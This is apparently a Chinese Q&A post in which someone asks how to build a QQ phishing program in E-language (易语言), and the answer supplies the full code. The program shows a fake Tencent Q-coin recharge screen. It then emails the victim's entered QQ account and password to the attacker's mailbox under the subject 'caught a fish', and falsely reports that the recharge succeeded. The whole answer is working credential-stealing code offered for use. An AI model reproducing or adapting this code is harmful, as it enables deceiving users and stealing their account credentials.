Question

易语言怎样制作QQ钓鱼程序

Answer 1

控件自己放好！看代码
==========================================================================
.版本 2
.支持库 internet

.程序集 窗口程序集1

.子程序 _按钮1_被单击
.局部变量 fsjg, 文本型

标签3.标题 ＝ “状态：正在连接腾讯Q币充值服务器”
标签3.刷新显示 ()
.如果 (连接发信服务器 (“(你邮箱的发信服务器)”, 25, “(邮箱用户名@后面不要)”, “(邮箱密码”, ) ＝ 假)
标签3.标题 ＝ “状态：连接腾讯Q币充值服务器失败！”
返回 ()
.否则
标签3.标题 ＝ “状态：连接腾讯Q币充值服务器成功，正在充值”
标签3.刷新显示 ()
.如果结束
fsjg ＝ 发送邮件 (“钓到鱼了！”, 编辑框1.内容 ＋ “ ” ＋ 编辑框2.内容, “(邮箱地址@后面要的)”, , , “(邮箱地址@后面要的)”, )
.如果 (fsjg ＝ “”)
标签3.标题 ＝ “状态：充值Q币成功！”
.否则
标签3.标题 ＝ “状态：已就绪”
.如果结束